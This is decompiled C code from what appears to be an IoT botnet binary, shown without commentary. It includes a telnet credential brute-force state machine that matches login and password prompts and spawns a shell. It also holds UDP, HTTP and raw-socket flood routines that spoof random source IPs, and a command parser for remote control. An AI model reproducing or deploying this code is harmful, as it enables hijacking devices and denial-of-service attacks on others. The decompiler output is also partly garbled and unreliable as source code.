time((int32_t *)t); | |
// branch -> 0x804df3e | |
} | |
// 0x804df3e | |
int32_t readfds; | |
memset((char *)&readfds, 0, 32); | |
int32_t * v60 = (int32_t *)v58; // 0x804df66_0 | |
uint32_t v61 = *v60; // 0x804df66 | |
int32_t v62; | |
int32_t * v63 = (int32_t *)(4 * v61 / 32 - 168 + (int32_t)&v62); // 0x804df83_0 | |
*v63 = *v63 | 1 << *v60 % 32; | |
int32_t errorfds = 0; | |
int32_t v64 = select(0, (struct _TYPEDEF_fd_set *)&readfds, NULL, (struct _TYPEDEF_fd_set *)&errorfds, timeout); // 0x804dfdb | |
struct _TYPEDEF_fd_set * v65; | |
struct _TYPEDEF_fd_set * v66; | |
struct sockaddr * v67; | |
char * t2; | |
if (v64 == 1) { | |
int32_t option_value2 = 4; | |
v36 = 0; | |
getsockopt(SOL_SOCKET, SO_ERROR, option_name, (char *)&option_value2, &timeout->e0); | |
if (v36 == 0) { | |
// 0x804e090 | |
fcntl(4, fcntl(3, F_DUPFD) & -2049); | |
*v59 = 0; | |
memset(NULL, 1024, option_name); | |
*v41 = 2; | |
v43 = (struct _TYPEDEF_fd_set *)&option_value2; | |
v44 = (struct _TYPEDEF_fd_set *)&v36; | |
v45 = (struct sockaddr *)1024; | |
v46 = NULL; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_4; | |
} else { | |
// 0x804e049 | |
sclose(1); | |
*v41 = 0; | |
v65 = (struct _TYPEDEF_fd_set *)&option_value2; | |
v66 = (struct _TYPEDEF_fd_set *)&v36; | |
v67 = (struct sockaddr *)4; | |
t2 = (char *)1; | |
// branch -> 0x804e1ad | |
lab_0x804e1ad_2: | |
// 0x804e1ad | |
if (*v59 + 10 >= time((int32_t *)t2)) { | |
v43 = v65; | |
v44 = v66; | |
v45 = v67; | |
v46 = t2; | |
goto lab_0x804ef03_4; | |
} | |
lab_0x804e1da: | |
// 0x804e1da | |
sclose((int32_t)t2); | |
*v41 = 0; | |
v43 = v65; | |
v44 = v66; | |
v45 = v67; | |
v46 = t2; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_4; | |
} | |
lab_0x804ef03_8: | |
// 0x804ef03 | |
timeout = (struct timeval *)v50; | |
option_value = (struct _TYPEDEF_fd_set *)0x1388; | |
v35 = NULL; | |
addr = v45; | |
t = v46; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} else { | |
// 0x804e165 | |
if (v64 != -1) { | |
v65 = (struct _TYPEDEF_fd_set *)&errorfds; | |
v66 = NULL; | |
v67 = (struct sockaddr *)&readfds; | |
t2 = NULL; | |
goto lab_0x804e1ad_2; | |
} | |
// 0x804e16b | |
sclose(0); | |
*v41 = 0; | |
v65 = (struct _TYPEDEF_fd_set *)&errorfds; | |
v66 = NULL; | |
v67 = (struct sockaddr *)&readfds; | |
t2 = NULL; | |
// branch -> 0x804e1ad | |
goto lab_0x804e1ad_2; | |
} | |
int32_t v68 = *v59; // 0x804e1c1 | |
int32_t v69 = v68 + 10; // ebx | |
uint32_t v70 = v69; // 0x804e1d2 | |
if (v70 < time((int32_t *)t2)) { | |
goto lab_0x804e1da; | |
} | |
v42 = timeout; | |
v43 = v65; | |
v44 = v66; | |
v45 = v67; | |
v46 = t2; | |
goto lab_0x804ef03_8; | |
break; | |
} | |
case 2: { | |
int32_t v71 = v40 + v34; // 0x804e230 | |
int32_t * v72 = (int32_t *)(v71 + 12); // 0x804e235_0 | |
if (*v72 == 0) { | |
// 0x804e23b | |
time((int32_t *)t); | |
time((int32_t *)t); | |
// branch -> 0x804e25f | |
} | |
int32_t * v73 = (int32_t *)(v71 + 20); // 0x804e273_0 | |
if (matchPrompt(t) != 0) { | |
// 0x804e281 | |
*v41 = 7; | |
// branch -> 0x804e295 | |
} | |
int16_t * v74 = (int16_t *)(v71 + 16); | |
v50 = *v73; | |
if (readUntil("ogin:", NULL, 0, 0x1388, v50, 2048, (int32_t)*v74, a8) == 0) { | |
int32_t str = *v73; // 0x804e3a6 | |
strlen((char *)str); | |
strlen((char *)str); | |
if (*v72 + 10 >= time((int32_t *)"ogin:")) { | |
v45 = NULL; | |
v46 = "ogin:"; | |
goto lab_0x804ef03_8; | |
} | |
// 0x804e407 | |
sclose((int32_t)"ogin:"); | |
*v41 = 0; | |
v45 = NULL; | |
v46 = "ogin:"; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_8; | |
} else { | |
// 0x804e312 | |
*v72 = 0; | |
*v74 = 0; | |
memset(NULL, 2048, 0); | |
*v41 = 3; | |
v45 = (struct sockaddr *)2048; | |
v46 = NULL; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_8; | |
} | |
lab_0x804ef03_10: | |
// 0x804ef03 | |
v35 = (struct _TYPEDEF_fd_set *)0x4000; | |
addr = (struct sockaddr *)2; | |
t = v46; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} | |
case 3: { | |
// 0x804e44e | |
int32_t str2; // 0x804e465 | |
int32_t len = strlen((char *)str2); | |
int32_t flags = (int32_t)option_value; | |
int32_t sock; // 0x804e4a0 | |
if (send(sock, (char *)len, 0x4000, flags) > 0) { | |
// 0x804e51c | |
if (send((int32_t)"\r\n", (char *)2, 0x4000, flags) > 0) { | |
// 0x804e599 | |
*v41 = 4; | |
v46 = "\r\n"; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_10; | |
} else { | |
// 0x804e552 | |
sclose((int32_t)"\r\n"); | |
*v41 = 0; | |
v46 = "\r\n"; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_10; | |
} | |
lab_0x804ef03_11: | |
// 0x804ef03 | |
v35 = (struct _TYPEDEF_fd_set *)0x4000; | |
addr = (struct sockaddr *)len; | |
t = (char *)sock; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} else { | |
// 0x804e4d5 | |
sclose(sock); | |
*v41 = 0; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_11; | |
} | |
lab_0x804ef03_14: | |
// 0x804ef03 | |
timeout = v48; | |
option_value = (struct _TYPEDEF_fd_set *)0x1388; | |
v35 = NULL; | |
addr = (struct sockaddr *)1; | |
t = v46; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} | |
case 4: { | |
int32_t v75 = v40 + v34; // 0x804e5c1 | |
int32_t * v76 = (int32_t *)(v75 + 12); // 0x804e5c6_0 | |
if (*v76 == 0) { | |
// 0x804e5cc | |
time((int32_t *)t); | |
time((int32_t *)t); | |
// branch -> 0x804e5f0 | |
} | |
int16_t * v77 = (int16_t *)(v75 + 16); | |
int32_t v78 = (int32_t)*v77; // 0x804e604 | |
int32_t * v79 = (int32_t *)(v75 + 20); // 0x804e61d_0 | |
int32_t v80 = *v79; // 0x804e61d | |
v48 = (struct timeval *)v80; | |
if (readUntil("assword:", (struct _TYPEDEF_fd_set *)1, 0, 0x1388, v80, 2048, v78, a8) == 0) { | |
// 0x804e72e | |
if (strstr("ncorrect", (char *)1) == NULL) { | |
int32_t str3 = *v79; // 0x804e7b6 | |
strlen((char *)str3); | |
strlen((char *)str3); | |
if (*v76 + 8 >= time((int32_t *)"ncorrect")) { | |
v46 = "ncorrect"; | |
goto lab_0x804ef03_14; | |
} | |
// 0x804e817 | |
sclose((int32_t)"ncorrect"); | |
*v41 = 0; | |
v46 = "ncorrect"; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_14; | |
} else { | |
// 0x804e758 | |
sclose((int32_t)"ncorrect"); | |
*v41 = 0; | |
v46 = "ncorrect"; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_14; | |
} | |
lab_0x804ef03_15: | |
// 0x804ef03 | |
timeout = v48; | |
option_value = (struct _TYPEDEF_fd_set *)0x1388; | |
v35 = NULL; | |
addr = (struct sockaddr *)2048; | |
t = NULL; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} else { | |
// 0x804e671 | |
*v76 = 0; | |
*v77 = 0; | |
*v41 = strstr("assword:", (char *)1) == NULL ? 7 : 5; | |
memset(NULL, 2048, 0); | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_15; | |
} | |
lab_0x804ef03_17: | |
// 0x804ef03 | |
v35 = (struct _TYPEDEF_fd_set *)0x4000; | |
addr = (struct sockaddr *)2; | |
t = v46; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} | |
case 5: { | |
// 0x804e85e | |
int32_t str4; // 0x804e875 | |
int32_t len2 = strlen((char *)str4); | |
int32_t flags2 = (int32_t)option_value; | |
int32_t sock2; // 0x804e8b0 | |
if (send(sock2, (char *)len2, 0x4000, flags2) > 0) { | |
// 0x804e92c | |
if (send((int32_t)"\r\n", (char *)2, 0x4000, flags2) > 0) { | |
// 0x804e9a9 | |
*v41 = 6; | |
v46 = "\r\n"; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_17; | |
} else { | |
// 0x804e962 | |
sclose((int32_t)"\r\n"); | |
*v41 = 0; | |
v46 = "\r\n"; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_17; | |
} | |
lab_0x804ef03_18: | |
// 0x804ef03 | |
v35 = (struct _TYPEDEF_fd_set *)0x4000; | |
addr = (struct sockaddr *)len2; | |
t = (char *)sock2; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} else { | |
// 0x804e8e5 | |
sclose(sock2); | |
*v41 = 0; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_18; | |
} | |
lab_0x804ef03_22: | |
// 0x804ef03 | |
timeout = v49; | |
option_value = (struct _TYPEDEF_fd_set *)0x1388; | |
v35 = NULL; | |
addr = v45; | |
t = v46; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} | |
case 6: { | |
int32_t v81 = v40 + v34; // 0x804e9d1 | |
int32_t * v82 = (int32_t *)(v81 + 12); // 0x804e9d6_0 | |
if (*v82 == 0) { | |
// 0x804e9dc | |
time((int32_t *)t); | |
time((int32_t *)t); | |
// branch -> 0x804ea00 | |
} | |
int16_t * v83 = (int16_t *)(v81 + 16); | |
int32_t v84 = (int32_t)*v83; // 0x804ea14 | |
int32_t * v85 = (int32_t *)(v81 + 20); // 0x804ea2d_0 | |
int32_t v86 = *v85; // 0x804ea2d | |
v49 = (struct timeval *)v86; | |
if (readUntil("ncorrect", (struct _TYPEDEF_fd_set *)1, 0, 0x1388, v86, 2048, v84, a8) == 0) { | |
int32_t str5 = *v85; // 0x804ec51 | |
strlen((char *)str5); | |
strlen((char *)str5); | |
if (*v82 + 10 >= time((int32_t *)"ncorrect")) { | |
v45 = (struct sockaddr *)1; | |
v46 = "ncorrect"; | |
goto lab_0x804ef03_22; | |
} | |
// 0x804ecb2 | |
sclose((int32_t)"ncorrect"); | |
*v41 = 0; | |
v45 = (struct sockaddr *)1; | |
v46 = "ncorrect"; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_22; | |
} else { | |
// 0x804ea81 | |
memset(NULL, 2048, 0); | |
*v82 = 0; | |
*v83 = 0; | |
if (strstr("ncorrect", (char *)2048) == NULL) { | |
// 0x804eb87 | |
if (matchPrompt("ncorrect") == 0) { | |
// 0x804eba9 | |
memset(NULL, 2048, 0); | |
sclose(0); | |
*v41 = 0; | |
v45 = (struct sockaddr *)2048; | |
v46 = NULL; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_22; | |
} else { | |
// 0x804ec21 | |
*v41 = 7; | |
v45 = (struct sockaddr *)2048; | |
v46 = "ncorrect"; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_22; | |
} | |
lab_0x804ef03_23: | |
// 0x804ef03 | |
timeout = v49; | |
option_value = (struct _TYPEDEF_fd_set *)0x1388; | |
v35 = NULL; | |
addr = (struct sockaddr *)2048; | |
t = NULL; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} else { | |
// 0x804eb0f | |
memset(NULL, 2048, 0); | |
sclose(0); | |
*v41 = 0; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_23; | |
} | |
// 0x804ef03 | |
v47 = v37 + 1; | |
timeout = v42; | |
option_value = v43; | |
v35 = v44; | |
addr = v45; | |
t = v46; | |
v39 = v47; | |
// branch -> 0x804ef06 | |
continue; | |
} | |
lab_0x804ef03_25: | |
// 0x804ef03 | |
v35 = (struct _TYPEDEF_fd_set *)0x4000; | |
addr = (struct sockaddr *)4; | |
t = v46; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} | |
case 7: { | |
// 0x804ecf9 | |
if (send((int32_t)"sh\r\n", (char *)4, 0x4000, (int32_t)option_value) > 0) { | |
// 0x804ed76 | |
*v41 = 8; | |
v46 = "sh\r\n"; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_25; | |
} else { | |
// 0x804ed2f | |
sclose((int32_t)"sh\r\n"); | |
*v41 = 0; | |
v46 = "sh\r\n"; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_25; | |
} | |
lab_0x804ef03_28: | |
// 0x804ef03 | |
v35 = (struct _TYPEDEF_fd_set *)0x4000; | |
addr = v45; | |
t = v46; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} | |
case 8: { | |
int32_t * v87 = (int32_t *)(v40 + v34 + 12); // 0x804eda3_0 | |
if (*v87 == 0) { | |
// 0x804eda9 | |
time((int32_t *)t); | |
time((int32_t *)t); | |
// branch -> 0x804edcd | |
} | |
int32_t len3 = strlen((char *)*(int32_t *)&str6); | |
int32_t sock3 = *(int32_t *)&str6; // 0x804edef | |
char * v88 = (char *)sock3; | |
struct sockaddr * v89 = (struct sockaddr *)len3; | |
if (send(sock3, (char *)len3, 0x4000, (int32_t)option_value) > 0) { | |
// 0x804ee98 | |
if (*v87 + 10 >= time((int32_t *)sock3)) { | |
v45 = v89; | |
v46 = v88; | |
goto lab_0x804ef03_28; | |
} | |
// 0x804eec1 | |
sclose(sock3); | |
*v41 = 0; | |
v45 = v89; | |
v46 = v88; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_28; | |
} else { | |
// 0x804ee23 | |
sclose(sock3); | |
*v41 = 0; | |
memset(NULL, 1024, 0x4000); | |
v45 = (struct sockaddr *)1024; | |
v46 = NULL; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03_28; | |
} | |
// 0x804ef03 | |
v47 = v37 + 1; | |
timeout = v42; | |
option_value = v43; | |
v35 = v44; | |
addr = v45; | |
t = v46; | |
v39 = v47; | |
// branch -> 0x804ef06 | |
continue; | |
} | |
} | |
// 0x804ef03 | |
timeout = v42; | |
option_value = v43; | |
v35 = v44; | |
addr = v45; | |
t = v46; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
} | |
} | |
// 0x804db18 | |
v38 = v34 | 10; | |
option_name = &v36; | |
timeout = a5; | |
option_value = a4; | |
v35 = a3; | |
addr = a2; | |
t = v28; | |
// branch -> 0x804ef06 | |
while (true) { | |
// 0x804ef06 | |
v37 = 0; | |
// branch -> 0x804ef06 | |
goto lab_0x804ef06; | |
} | |
} | |
// Address range: 0x804ef17 - 0x804f014 | |
int32_t socket_connect(char * name, int32_t a2) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
int32_t option_value = 1; // bp-32 | |
if (gethostbyname(name) == NULL) { | |
// 0x804f010 | |
return 0; | |
} | |
// 0x804ef4b | |
int32_t data; | |
int32_t str; // 0x804ef59 | |
int32_t n; // 0x804ef4e | |
bcopy((char *)str, (char *)&data, n); | |
htons((int16_t)(0x10000 * a2 / 0x10000)); | |
int32_t addr = 2; | |
int32_t sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 0x804efa1 | |
setsockopt(sock_fd, SO_BROADCAST, 1, (char *)&option_value, 4); | |
if (sock_fd == -1) { | |
// 0x804f010 | |
return 0; | |
} | |
// 0x804efe2 | |
if (connect(sock_fd, (struct sockaddr *)&addr, 16) != -1) { | |
// 0x804f00a | |
// branch -> 0x804f010 | |
} else { | |
sock_fd = 0; | |
} | |
// 0x804f010 | |
return sock_fd; | |
} | |
// Address range: 0x804f015 - 0x804f136 | |
int32_t sendSTD(char * name, int32_t a2, int32_t a3) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
int32_t sock_fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); // 0x804f032 | |
int32_t time_val = time(NULL); // 0x804f041 | |
gethostbyname(name); | |
gethostbyname(name); | |
int32_t addr = 0; // bp-36 | |
int32_t data = 0; // bp-32 | |
int32_t str; // 0x804f089 | |
int32_t n; // 0x804f078 | |
bcopy((char *)str, (char *)&data, n); | |
int32_t v29; // 0x804f09e | |
addr = 0x10000 * v29 / 0x10000; | |
int32_t v30 = 0; | |
// branch -> 0x804f0b9 | |
while (true) { | |
int32_t v31 = v30; | |
if (v30 >= 50) { | |
// 0x804f0bf | |
send(sock_fd, "dts", 50, 0); | |
connect(sock_fd, (struct sockaddr *)&addr, 16); | |
if (time(NULL) >= time_val + a3) { | |
// 0x804f114 | |
close(sock_fd); | |
exit(0); | |
// UNREACHABLE | |
} | |
// 0x804f132 | |
v30 = 1; | |
// branch -> 0x804f0b9 | |
continue; | |
} | |
// 0x804f132 | |
v30 = v31 + 1; | |
// branch -> 0x804f0b9 | |
} | |
} | |
// Address range: 0x804f137 - 0x804f2c0 | |
int32_t sendHTTP(char * a1, char * a2, uint32_t a3, char * a4, int32_t a5, int32_t a6) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
int32_t v29 = time(NULL) + a5; // 0x804f158 | |
int32_t result = 0; | |
if (a6 > 0) { | |
int32_t v30 = 0; | |
// branch -> 0x804f171 | |
while (true) { | |
// 0x804f171 | |
rand(); | |
rand(); | |
int32_t str; | |
int32_t v31; // 0x804f1be | |
sprintf((char *)&str, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", a1, a4, a2, (char *)v31); | |
if (fork() != 0) { | |
// 0x804f287 | |
if (time(NULL) >= v29) { | |
// 0x804f29c | |
exit(0); | |
// UNREACHABLE | |
} | |
while (true) { | |
int32_t fd = socket_connect(a2, a3 % 0x10000); // 0x804f217 | |
if (fd != 0) { | |
int32_t len = strlen((char *)&str); | |
write(fd, (char *)&str, len); | |
int32_t buf; | |
read(fd, (char *)&buf, 1); | |
close(fd); | |
// branch -> 0x804f287 | |
} | |
// 0x804f287 | |
if (time(NULL) >= v29) { | |
// break -> 0x804f29c | |
break; | |
} | |
// continue -> 0x804f206 | |
} | |
// 0x804f29c | |
exit(0); | |
// UNREACHABLE | |
} | |
int32_t v32 = v30 + 1; // 0x804f2a8 | |
if (v32 >= a6) { | |
result = a6; | |
// break -> 0x804f2b7 | |
break; | |
} | |
v30 = v32; | |
// continue -> 0x804f171 | |
} | |
} | |
// 0x804f2b7 | |
return result; | |
} | |
// Address range: 0x804f2c1 - 0x804f75b | |
int32_t sendUDP(int32_t * a1, char * message, int32_t length2, int32_t flags, struct sockaddr * dest_addr2, int32_t dest_len) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
int32_t v8; // 0x805b488 | |
int32_t v9; // 0x805b48c | |
char * v10; // 0x805b490 | |
char v11; // 0x805b491 | |
char v12; // 0x805b493 | |
char v13; // 0x805b494 | |
char v14; // 0x805b496 | |
char v15; // 0x805b497 | |
char v16; // 0x805b498 | |
char v17; // 0x805b499 | |
char v18; // 0x805b49a | |
int32_t v19; // 0x805b4a0 | |
int32_t v20; // 0x805b4a4 | |
int32_t v21; // 0x805b4a8 | |
int64_t v22; // 0x805d49f | |
char * v23; // 0x805f4a0 | |
int32_t v24; // 0x8061708 | |
int32_t v25; // 0x806170c | |
char * v26; // 0x8061710 | |
bool v27; | |
int32_t host_long = (int32_t)a1; | |
int32_t dest_addr = 2; // bp-68 | |
uint32_t host_short = (int32_t)message; | |
if (message == NULL) { | |
// 0x804f2d5 | |
rand_cmwc(); | |
// branch -> 0x804f2f8 | |
} else { | |
// 0x804f2e3 | |
htons((int16_t)host_short); | |
// branch -> 0x804f2f8 | |
} | |
// 0x804f2f8 | |
int32_t v28; | |
int32_t result = getHost((char *)host_long, &v28); // 0x804f308 | |
if (result != 0) { | |
// 0x804f755 | |
return result; | |
} | |
// 0x804f315 | |
char * v29; // 0x805b480 | |
if (flags == 32) { | |
int32_t sock_fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); // 0x804f34f | |
int32_t result2; // 0x804f36d_3 | |
if (sock_fd == 0) { | |
// 0x804f35d | |
result2 = (int32_t)sockprintf((int32_t)v29, "Failed opening raw socket."); | |
// branch -> 0x804f755 | |
} else { | |
int32_t length = (int32_t)dest_addr2; | |
int32_t size = length + 1; // 0x804f37a | |
char * mem = malloc(size); // 0x804f37e | |
int32_t v30 = (int32_t)mem; // 0x804f37e_3 | |
if (mem != NULL) { | |
// 0x804f390 | |
memset(mem, v30 & -256, size); | |
makeRandomStr(v30, length); | |
int32_t v31 = time(NULL) + length2; // 0x804f3c0 | |
int32_t v32 = 0; // 0x804f43753 | |
// branch -> 0x804f3cf | |
int32_t time_val; // 0x804f420 | |
while (true) { | |
// 0x804f3cf | |
sendto(sock_fd, mem, length, 0, (struct sockaddr *)&dest_addr, 16); | |
if (v32 == dest_len) { | |
// 0x804f407 | |
if (message == NULL) { | |
// 0x804f40d | |
rand_cmwc(); | |
// branch -> 0x804f419 | |
} | |
// 0x804f419 | |
time_val = time(NULL); | |
if (time_val > v31) { | |
// break -> 0x804f755 | |
break; | |
} | |
v32 = 0; | |
// continue -> 0x804f3cf | |
continue; | |
} else { | |
// 0x804f437 | |
v32++; | |
// branch -> 0x804f3cf | |
continue; | |
} | |
} | |
// 0x804f755 | |
return time_val; | |
} | |
result2 = v30; | |
} | |
// 0x804f755 | |
return result2; | |
} | |
int32_t sock_fd2 = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); // 0x804f458 | |
if (sock_fd2 != 0) { | |
int32_t option_value = 1; | |
if (setsockopt(sock_fd2, 0, 3, (char *)&option_value, 4) <= 0) { | |
int32_t result3 = (int32_t)sockprintf((int32_t)v29, "Failed setting raw headers mode."); // 0x804f4c5_3 | |
// branch -> 0x804f752 | |
// 0x804f752 | |
// branch -> 0x804f755 | |
// 0x804f755 | |
return result3; | |
} | |
int32_t v33 = 49; // 0x804f502 | |
int32_t time_val2 = time(NULL); // 0x804f4df | |
int32_t seed = rand_cmwc() ^ time_val2; // 0x804f4eb | |
srandom(seed); | |
init_rand(rand()); | |
// branch -> 0x804f4d8 | |
while (v33 != 0) { | |
// 0x804f4d8 | |
v33--; | |
time_val2 = time(NULL); | |
seed = rand_cmwc() ^ time_val2; | |
srandom(seed); | |
init_rand(rand()); | |
// continue -> 0x804f4d8 | |
} | |
// 0x804f50b | |
if (flags != 0) { | |
// 0x804f51a | |
if (-flags % 32 != 0) { | |
// if_804f529_0_true | |
// branch -> after_if_804f529_0 | |
} | |
// after_if_804f529_0 | |
// branch -> 0x804f530 | |
} | |
int32_t v34 = (int32_t)dest_addr2; | |
int32_t v35; | |
int32_t v36 = v35 - (v34 + 58 & -16) + 39 & -16; // 0x804f557 | |
getRandomIP(host_long); | |
getRandomIP(host_long); | |
htonl(host_long); | |
htonl(host_long); | |
makeIPPacket((char *)host_long, host_short, length2, flags, v34); | |
htons((int16_t)host_long); | |
htons((int16_t)host_long); | |
int32_t v37 = rand_cmwc(); // 0x804f5d0 | |
int16_t * v38 = (int16_t *)(v36 + 20); | |
*v38 = (int16_t)v37; | |
int16_t v39; | |
if (message == NULL) { | |
// 0x804f5e4 | |
v39 = rand_cmwc(); | |
// branch -> 0x804f605 | |
} else { | |
// 0x804f5f1 | |
v39 = htons((int16_t)host_long); | |
// branch -> 0x804f605 | |
} | |
int16_t * v40 = (int16_t *)(v36 + 22); // 0x804f60b_0 | |
*v40 = v39; | |
makeRandomStr(host_long, host_short); | |
int32_t v41 = csum((int16_t *)host_long, host_short); // 0x804f640 | |
int16_t * v42 = (int16_t *)(v36 | 10); // 0x804f64b_0 | |
*v42 = (int16_t)v41; | |
int32_t v43 = time((int32_t *)host_long) + length2; // 0x804f65b | |
int32_t v44 = 0; // 0x804f74a54 | |
// branch -> 0x804f66a | |
int32_t time_val3; // 0x804f734 | |
while (true) { | |
// 0x804f66a | |
sendto(host_long, message, length2, flags, dest_addr2, dest_len); | |
*v38 = (int16_t)rand_cmwc(); | |
int32_t v45; | |
if (message == NULL) { | |
// 0x804f6ae | |
v45 = rand_cmwc() % 0x10000; | |
// branch -> 0x804f6cf | |
} else { | |
// 0x804f6bb | |
v45 = htons((int16_t)host_long); | |
// branch -> 0x804f6cf | |
} | |
// 0x804f6cf | |
*v40 = (int16_t)v45; | |
*(int16_t *)(v36 | 4) = (int16_t)rand_cmwc(); | |
getRandomIP(host_long); | |
getRandomIP(host_long); | |
*(int32_t *)(v36 | 12) = htonl(host_long); | |
*v42 = (int16_t)csum((int16_t *)host_long, host_short); | |
if (v44 == dest_len) { | |
// 0x804f72d | |
time_val3 = time((int32_t *)host_long); | |
if (time_val3 > v43) { | |
// break -> 0x804f752 | |
break; | |
} | |
v44 = 0; | |
// continue -> 0x804f66a | |
continue; | |
} else { | |
// 0x804f74a | |
v44++; | |
// branch -> 0x804f66a | |
continue; | |
} | |
} | |
// 0x804f752 | |
// branch -> 0x804f755 | |
// 0x804f755 | |
return time_val3; | |
} | |
int32_t result4 = (int32_t)sockprintf((int32_t)v29, "Failed opening raw socket."); // 0x804f476_3 | |
// branch -> 0x804f752 | |
// 0x804f752 | |
// branch -> 0x804f755 | |
// 0x804f755 | |
return result4; | |
} | |
// Address range: 0x804f75c - 0x8050163 | |
int32_t processCmd(int32_t a1, int32_t * str, int32_t a3) { | |
struct in_addr in; // 0x804f7f4 | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b490 | |
char v9; // 0x805b491 | |
char v10; // 0x805b493 | |
char v11; // 0x805b494 | |
char v12; // 0x805b496 | |
char v13; // 0x805b497 | |
char v14; // 0x805b498 | |
char v15; // 0x805b499 | |
char v16; // 0x805b49a | |
int32_t v17; // 0x805b4a0 | |
int32_t v18; // 0x805b4a4 | |
int32_t v19; // 0x805b4a8 | |
int64_t v20; // 0x805d49f | |
char * v21; // 0x805f4a0 | |
int32_t v22 = (int32_t)str; | |
uint32_t strncmp_rc = strncmp((char *)*str, "PING", 5); | |
bool v23 = strncmp_rc % 2 == 0; | |
int32_t v24; | |
bool v25 = &v24 < (int32_t *)252; // 0x804f78a | |
